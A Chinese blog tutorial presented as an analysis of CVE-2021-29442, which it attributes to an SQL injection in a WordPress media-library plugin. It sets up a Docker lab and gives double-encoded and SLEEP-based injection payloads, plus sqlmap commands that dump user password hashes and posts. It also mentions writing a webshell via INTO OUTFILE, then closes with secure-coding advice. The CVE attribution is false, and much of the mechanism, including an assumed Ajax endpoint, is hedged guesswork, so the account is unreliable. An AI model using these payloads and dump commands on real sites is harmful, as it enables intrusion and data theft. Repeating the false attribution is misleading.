CVE-2021-29442漏洞剖析:WordPress插件SQL注入与二次编码绕过实战
2026/6/24 19:31:21 网站建设 项目流程

1. 项目概述:一次对CVE-2021-29442的深度剖析之旅

最近在复盘一些经典的Web安全漏洞案例,CVE-2021-29442这个编号引起了我的注意。它不是一个像Log4j那样席卷全球的“核弹级”漏洞,但在特定场景下,其精巧的利用链和背后反映的编码逻辑问题,却非常值得我们这些搞安全研究、渗透测试甚至是后端开发的同学细细品味。简单来说,CVE-2021-29442是WordPress一款流行媒体库插件“Media Library Assistant”中存在的SQL注入漏洞。攻击者可以通过精心构造的HTTP请求参数,最终在数据库层面执行任意SQL命令,从而窃取、篡改或破坏网站数据。

这个漏洞的影响范围主要集中在使用了该插件的WordPress站点。WordPress作为全球使用最广泛的内容管理系统(CMS),其生态插件的安全性牵一发而动全身。虽然该插件的用户基数可能不如某些核心功能插件庞大,但对于使用了它的企业站、博客站而言,一旦被利用,就意味着核心数据库门户大开。攻击者可以轻松获取管理员密码哈希、用户个人信息、文章内容等敏感数据,甚至通过写入Webshell进一步控制服务器。我之所以花时间深入研究它,是因为它完美地展示了“二次编码”和“参数类型混淆”如何共同作用,绕过常规的安全过滤,最终导致注入。理解它,不仅能帮助我们更好地进行漏洞挖掘(挖洞),也能在代码审计和防御编码时多长一个心眼。

2. 漏洞核心原理与利用链拆解

要理解CVE-2021-29442,我们不能只停留在“这里有个SQL注入”的层面,必须深入代码逻辑,看看漏洞是如何“诞生”的。整个利用链可以概括为:前端参数可控 -> 后端逻辑误判参数类型 -> 安全过滤被绕过 -> 恶意SQL语句拼接执行

2.1 漏洞触发的入口点与逻辑误区

漏洞的核心文件位于插件的includes/class-mla-shortcode-support.php中,具体涉及到通过[mla_gallery]短码(Shortcode)进行查询的部分。短码是WordPress中一种强大的内容嵌入方式,允许用户在文章或页面中通过简单的标签调用复杂功能。[mla_gallery]就是用来创建自定义图片库的。

攻击者可以控制短码中的某些参数,例如idsidterm等。插件在处理这些参数,特别是为了构建“附件关系查询”时,会调用一个内部函数来解析参数值。问题就出在解析逻辑上:开发者预期用户输入的是纯数字ID(如ids=1,2,3)或单个数字ID,但在处理时,却没有对输入进行严格的类型校验和格式化

更关键的一步是,用户输入在传递到SQL查询构建器之前,会经过一层wp_parse_args()函数和插件自身的清理逻辑。然而,在某些特定的参数处理分支下,插件错误地信任了经过部分处理后的数据格式,认为它已经是“安全”的数值或由数值组成的数组,从而直接将其拼接进了SQL查询语句的WHERE子句中。

2.2 关键绕过手法:编码与混淆的艺术

这里就引出了该漏洞最精彩也最具教育意义的部分——编码绕过。假设攻击者传入的参数是ids=1。一个健壮的处理逻辑应该是:获取字符串“1” -> 转换为整数1 -> 拼接到SQL中。但插件处理链条可能存在缺陷。

  1. 初步过滤与期望:插件可能使用了intval()absint()等函数对单个值进行处理,但这只对像ids=1这样的简单输入有效。当攻击者输入ids=1 AND SLEEP(5)时,intval()会只取第一个整数“1”,后面的注入载荷被丢弃,看似安全。
  2. 利用数组参数与逻辑缺陷:但是,攻击者可以通过传递数组形式的参数,或者利用参数名本身的可控性(WordPress短码参数解析的特性),来尝试绕过这种单值处理。例如,构造ids[0]=1&ids[1]=2或利用其他未被充分过滤的查询参数。
  3. 二次编码注入(核心):根据公开的漏洞分析资料,一种有效的利用方式是提交经过URL编码(或双重URL编码)的注入载荷。例如,将单引号编码为%27,将空格编码为%20+
    • 为什么编码能绕过?因为插件的输入处理流程可能包含多个步骤:从HTTP请求中获取原始参数 -> 进行初步的清理或解码 -> 传递给SQL构建逻辑。如果在初步清理时,代码只是简单地检查是否有明显的危险字符(如未编码的单引号、空格),而随后在另一个环节(可能是WordPress核心函数或插件另一部分)又对参数进行了一次urldecode()操作,那么最初被“无害化”的编码字符就会还原成本来的面目。
    • 流程示意:攻击者提交ids=1%2527%20AND%20SLEEP(5)--%20-(注意%2527%27的二次编码,%27是单引号)。第一层处理可能看到的是1%2527...,其中的%25被当作普通字符“%25”,因此单引号并未出现。但随后,在处理流程的某个深层,字符串被再次解码,%2527变成了%27,紧接着又一次解码(或由数据库连接层自动解码),%27最终还原为那个致命的单引号,从而闭合了SQL语句,触发注入。

注意:这里的“二次编码”是一个典型场景描述。实际利用可能依赖于插件与WordPress核心在参数解析、查询变量处理上的特定顺序和函数调用,使得一次编码的载荷在错误的时机被解码。这要求我们在代码审计时,必须跟踪一个参数从入口到最终拼接的完整生命周期。

2.3 漏洞利用的影响与危害

成功利用此漏洞,攻击者可以实现:

  • 信息泄露:通过UNION SELECT查询,获取wp_users表中的用户登录名、邮箱、密码哈希(通常是Phpass哈希),获取wp_posts表中的所有文章、页面内容,甚至包括草稿和私密内容。
  • 数据篡改:修改文章内容、网站选项,进行挂马或钓鱼。
  • 权限提升:如果条件极其苛刻,结合其他漏洞,可能修改用户权限或创建管理员账户(但仅通过SQL注入直接实现此目的在WordPress中较难)。
  • 进一步渗透:在知道绝对路径的情况下,通过SELECT ... INTO OUTFILE写入Webshell(需要数据库用户有FILE权限,且secure_file_priv配置允许),从而获得服务器命令执行能力。

3. 漏洞复现环境搭建与手工验证

“纸上得来终觉浅,绝知此事要躬行。” 在安全研究里,搭建环境复现漏洞是理解它的最佳方式。我们不直接在生产环境或他人的网站上测试,而是在本地搭建一个完全受控的靶场。

3.1 靶场环境配置

为了复现CVE-2021-29442,我们需要一个包含漏洞版本插件的WordPress环境。这里我选择使用Docker快速搭建,干净又隔离。

  1. 准备Docker环境:确保你的机器上安装了Docker和Docker Compose。
  2. 编写docker-compose.yml:创建一个目录,例如cve-2021-29442-lab,并在其中创建docker-compose.yml文件。
version: '3.8' services: db: image: mysql:5.7 volumes: - db_data:/var/lib/mysql restart: always environment: MYSQL_ROOT_PASSWORD: rootpassword MYSQL_DATABASE: wordpress MYSQL_USER: wordpress MYSQL_PASSWORD: wordpresspassword networks: - wp-net wordpress: depends_on: - db image: wordpress:5.7.2-php7.4-apache # 选择一个与漏洞时间相近的版本 ports: - "8080:80" restart: always environment: WORDPRESS_DB_HOST: db:3306 WORDPRESS_DB_USER: wordpress WORDPRESS_DB_PASSWORD: wordpresspassword WORDPRESS_DB_NAME: wordpress volumes: - wp_data:/var/www/html - ./plugins:/var/www/html/wp-content/plugins # 挂载插件目录,方便安装漏洞插件 networks: - wp-net volumes: db_data: wp_data: networks: wp-net:
  1. 启动基础环境:在终端中,进入该目录,运行docker-compose up -d。稍等片刻,访问http://localhost:8080完成WordPress的著名5分钟安装。记住你设置的管理员账号密码。
  2. 安装漏洞版本插件:我们需要安装存在漏洞的Media Library Assistant (MLA)插件。从官方仓库或第三方存档站点,下载版本号早于修复版本的插件。已知在1.10.01版本中该漏洞已被修复,因此我们需要找更早的版本,例如1.9.01。将下载的插件ZIP文件解压,放到cve-2021-29442-lab/plugins/目录下(该目录已通过Docker卷挂载到容器内)。
  3. 在WordPress中启用插件:登录WordPress管理员后台(http://localhost:8080/wp-admin),进入“插件”菜单,你应该能看到“Media Library Assistant”插件。直接启用它。

至此,一个包含漏洞插件的WordPress靶场就准备好了。

3.2 手工注入探测与验证

现在,我们尝试手工复现这个漏洞。由于漏洞通过[mla_gallery]短码触发,我们需要创建一个页面或文章来嵌入这个短码。

  1. 创建测试页面:在后台,新建一个页面,标题随意,例如“Test MLA Gallery”。
  2. 插入短码并尝试注入:在页面内容编辑器中(确保是“文本”模式,而非“可视化”模式),插入以下短码:
    [mla_gallery ids="1"]
    发布这个页面。访问该页面,它会正常显示ID为1的附件图片。这只是正常功能。
  3. 探测注入点:现在,我们修改短码参数,尝试触发SQL错误。漏洞细节指出,注入可能发生在idsidterm等参数。我们尝试一个经典的基于错误的注入探测:
    [mla_gallery ids="1'"]
    ids参数的值中,我们添加了一个单引号。如果页面返回了SQL语法错误(可能会显示数据库错误信息,如“You have an error in your SQL syntax...”),则说明参数未被正确过滤,存在注入点。
    • 重要:由于我们之前分析的编码问题,直接加单引号可能被过滤。我们需要尝试编码形式。将短码改为:
      [mla_gallery ids="1%27"]
      这里%27是单引号的URL编码。保存并刷新页面。
  4. 观察结果
    • 情况A:页面显示错误,表名、字段名等信息可能泄露。这证实了漏洞存在。
    • 情况B:页面显示正常或显示“未找到附件”。这可能意味着我们的载荷被某种方式过滤或处理了,需要尝试更复杂的编码或利用其他参数(如term)。
  5. 利用时间盲注验证:如果基于错误的注入不成功,可以尝试时间盲注,这对于过滤了错误信息显示的配置更有效。构造一个基于sleep函数的载荷:
    [mla_gallery ids="1%27+AND+SLEEP(5)+AND+%271%27=%271"]
    或尝试双重编码(注意在短码中直接输入):
    [mla_gallery ids="1%2527%20AND%20SLEEP(5)%20AND%20%271%27=%271"]
    访问页面,如果页面加载明显延迟了大约5秒,则说明SLEEP(5)被执行,漏洞存在。

实操心得:在实际复现中,直接通过文章短码测试可能受限于WordPress的缓存、短码解析器的细微差别。更可靠的测试方法是直接模拟向插件处理Ajax请求的端点发送HTTP请求。通过浏览器的开发者工具(F12 -> Network),查看正常使用[mla_gallery]时,浏览器向后台发送了哪些Ajax请求(通常路径包含admin-ajax.php或插件特有的端点)。然后,我们可以用Burp Suite或Curl工具,直接重放并修改这些请求的参数,进行注入测试。这种方式更底层,能绕过前端的一些限制。

4. 使用SQLMap进行自动化漏洞利用与数据提取

手工验证证明了漏洞的存在,但要想系统性地提取数据,自动化工具是更高效的选择。SQLMap是这方面的神器。它不仅能检测注入点,还能自动利用,完成从数据库名、表名到具体数据的一条龙提取。

4.1 配置SQLMap扫描目标

首先,我们需要找到插件处理请求的具体URL。如前所述,查看网络请求找到一个由MLA插件处理的端点。假设我们通过分析,发现一个可触发的Ajax动作(Action)为mla_query_attachments,它通过admin-ajax.php文件处理。

那么,我们的目标URL可能就是:

http://localhost:8080/wp-admin/admin-ajax.php

这是一个POST请求。

我们需要用Burp Suite拦截一个正常的mla_gallery相关请求,保存其请求数据(Raw格式),存为一个文件,比如request.txt。这个文件应该包含完整的HTTP请求头、Cookie(尤其是登录后的wordpress_logged_in_*cookie,因为后台操作需要权限)和POST数据体。

request.txt内容示例(已简化):

POST /wp-admin/admin-ajax.php HTTP/1.1 Host: localhost:8080 Cookie: wordpress_logged_in_xxxx=yyyy; ...其他cookie... Content-Type: application/x-www-form-urlencoded; charset=UTF-8 action=mla_query_attachments&query[posts_per_page]=24&query[mla_page]=1&query[post_mime_type]=image&query[order]=ASC&query[orderby]=title&query[offset]=0&query[post__in][0]=1

注意看最后一行,query[post__in][0]=1,这很可能对应着短码中的ids参数。

4.2 执行SQLMap进行注入检测

现在,我们可以使用SQLMap,指定这个请求文件进行测试。

sqlmap -r request.txt --batch --level 3 --risk 2
  • -r request.txt: 从文件中加载HTTP请求,SQLMap会自动解析其中的参数。
  • --batch: 以非交互模式运行,所有默认选项都选Yes,适合自动化。
  • --level 3: 提高测试等级,会测试更多的参数和注入技术(对于Cookie、Host头等也会测试)。
  • --risk 2: 提高风险等级,会使用一些可能引起数据更新的更“重”的测试(如基于时间的盲注)。

运行后,SQLMap会开始检测。如果漏洞存在,它会很快识别出注入点,并报告数据库类型(通常是MySQL)、后端DBMS版本等信息。

4.3 利用SQLMap提取敏感数据

一旦确认注入点,我们就可以指挥SQLMap提取数据了。

  1. 获取当前数据库名

    sqlmap -r request.txt --current-db --batch

    输出会显示当前的数据库名,例如wordpress

  2. 列出所有数据库

    sqlmap -r request.txt --dbs --batch
  3. 获取当前数据库的所有表

    sqlmap -r request.txt -D wordpress --tables --batch

    你会看到wp_users,wp_posts,wp_comments等WordPress核心表,以及MLA插件可能创建的表。

  4. 提取wp_users表的数据(核心目标)

    sqlmap -r request.txt -D wordpress -T wp_users --dump --batch

    这个命令会导出wp_users表的所有行。输出中你将看到user_login,user_pass(密码哈希),user_email等关键信息。user_pass字段的哈希值可以被攻击者拿去进行离线破解(如用hashcat配合强大的字典),一旦破解成功,攻击者就获得了对应的用户密码。

  5. 提取wp_posts表的数据

    sqlmap -r request.txt -D wordpress -T wp_posts --dump --batch

    这可能会导出网站的所有文章、页面内容,包括可能未公开的草稿。

注意事项:在测试环境中,我们可以随意--dump。但在真实的渗透测试授权项目中,必须严格遵守授权范围,只提取证明漏洞危害所必需的最小数据集(例如,只取一条用户记录或一个非敏感表的记录),并妥善处理这些数据,测试完成后应立即删除。未经授权的大量数据导出是违法行为。

5. 漏洞根因分析与安全编码启示

复现和利用漏洞之后,我们回归本质:代码到底哪里写错了?如何避免?

5.1 代码层面根因分析

根据补丁(Patch)和公开的分析,漏洞根源在于includes/class-mla-shortcode-support.php文件中的mla_get_shortcode_attachments函数或其相关辅助函数。关键问题包括:

  1. 参数类型信任过度:代码在处理类似$ids这样的输入参数时,假设它已经是经过安全处理的、由整数组成的数组或逗号分隔的字符串。它可能直接使用了implode(‘,’, $ids)或类似方式将数组元素拼接进SQL语句,而没有对数组中的每个元素进行强制类型转换(intval())或白名单过滤。
  2. 编码解码时机错位:WordPress的核心函数(如$_GET,$_POST全局变量,以及一些查询解析函数)会自动对输入进行一次URL解码。如果插件代码在接收参数后,又自行进行了一次解码操作,或者在某些逻辑分支下错误地拼接了原始输入,就会导致编码后的注入载荷被还原。补丁通常会在拼接SQL前,对参数值进行严格的白名单验证类型强制转换
  3. SQL拼接而非参数化查询:最根本的原因,是在构建SQL查询时,直接使用了字符串拼接的方式将用户输入嵌入到查询语句中,而不是使用WordPress提供的$wpdb->prepare()方法进行参数化查询(预编译语句)。$wpdb->prepare()会确保数据被正确地转义和处理,从根本上杜绝SQL注入。

5.2 防御编码的最佳实践

从CVE-2021-29442中,我们可以总结出几条铁律:

  1. 始终使用参数化查询(预编译语句):这是防御SQL注入的银弹。在WordPress开发中,这意味着永远不要手动拼接SQL字符串。对于核心数据库操作,使用$wpdb对象的方法。

    • 错误示范$sql = “SELECT * FROM $wpdb->posts WHERE ID IN (” . implode(‘,’, $ids) . “)”;
    • 正确示范
      $ids = array_map(‘intval’, $ids); // 先强制转为整数 $placeholders = implode(‘, ‘, array_fill(0, count($ids), ‘%d’)); $sql = $wpdb->prepare(“SELECT * FROM $wpdb->posts WHERE ID IN ($placeholders)”, $ids);
      即使$ids来自用户输入,经过intvalprepare处理,它们只会被当作数字处理,无法跳出引号破坏语法。
  2. 严格的输入验证与类型转换:在将用户输入用于业务逻辑前,必须进行验证。

    • 白名单优于黑名单:对于有限集合的输入(如排序方式order=ASC|DESC),检查输入是否在预定的白名单内。
    • 强制类型转换:对于预期是数字的输入,使用intval(),absint()(WordPress特有) 或(int)进行转换。对于预期是字符串的,使用sanitize_text_field()
  3. 谨慎处理编码数据:明确知道你的数据在流程中何时被解码。如果业务需要接收编码后的参数,应在解码后立即进行验证和清理,然后再用于后续逻辑。避免在代码的不同层级多次、混乱地解码。

  4. 最小权限原则:为WordPress的数据库用户分配最小必要的权限。通常,只授予SELECT,INSERT,UPDATE,DELETE权限,而不要授予FILE,PROCESS,SUPER等高级权限。这样即使发生注入,攻击者也无法通过INTO OUTFILE写文件或执行危险操作。

  5. 及时更新与漏洞监控:作为网站管理员,务必保持WordPress核心、主题和所有插件的更新。订阅安全邮件列表,使用漏洞扫描工具定期检查。对于已停止维护的插件,应寻找替代品。

6. 从漏洞分析到实战的思考与工具链

完成一次完整的漏洞分析,不仅仅是运行一遍POC。它应该形成一个闭环:原理理解 -> 环境复现 -> 手工/工具验证 -> 原因追溯 -> 修复方案 -> 经验沉淀

在这个过程中,一套顺手的工具链能极大提升效率:

  • 本地环境:Docker + Docker Compose。快速搭建、重置各种版本的Web应用和数据库环境,是安全研究的标配。
  • 代理与抓包:Burp Suite Community/Professional。拦截、修改、重放HTTP/HTTPS请求,是分析Web逻辑、测试漏洞的瑞士军刀。它的Repeater、Intruder、Scanner模块在漏洞挖掘中不可或缺。
  • 漏洞利用:SQLMap。对于SQL注入,它几乎做到了极致。但切记理解其原理,不要成为“脚本小子”。
  • 代码审计:对于PHP项目,像Visual Studio Code + PHP Intelephense插件就很好用。需要跟踪变量流向、函数调用。也可以使用专门的静态代码分析工具(如SonarQube, PHPStan),但它们通常无法完全替代人工的代码逻辑审计。
  • 信息收集:WPScan(针对WordPress的专用扫描器)可以在授权测试中快速识别插件、主题版本和已知漏洞。

最后,我想分享一点个人体会:像CVE-2021-29442这样的漏洞,在CVSS评分上可能只是中危,但它揭示的问题却非常经典。它告诉我们,安全是一个链条,任何一个环节的疏忽(参数类型混淆、编码处理不当、未使用参数化查询)都可能导致整个防线的崩溃。作为开发者,应该在编码之初就绷紧安全这根弦;作为安全人员,则要善于从这些已公开的漏洞中学习攻击者的思维和技巧,并将其转化为防御的视角。每一次漏洞分析,都是对自身知识库的一次加固。下次当你写数据库查询,或者审查队友的代码时,不妨多问一句:“这里的用户输入,真的安全吗?”

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询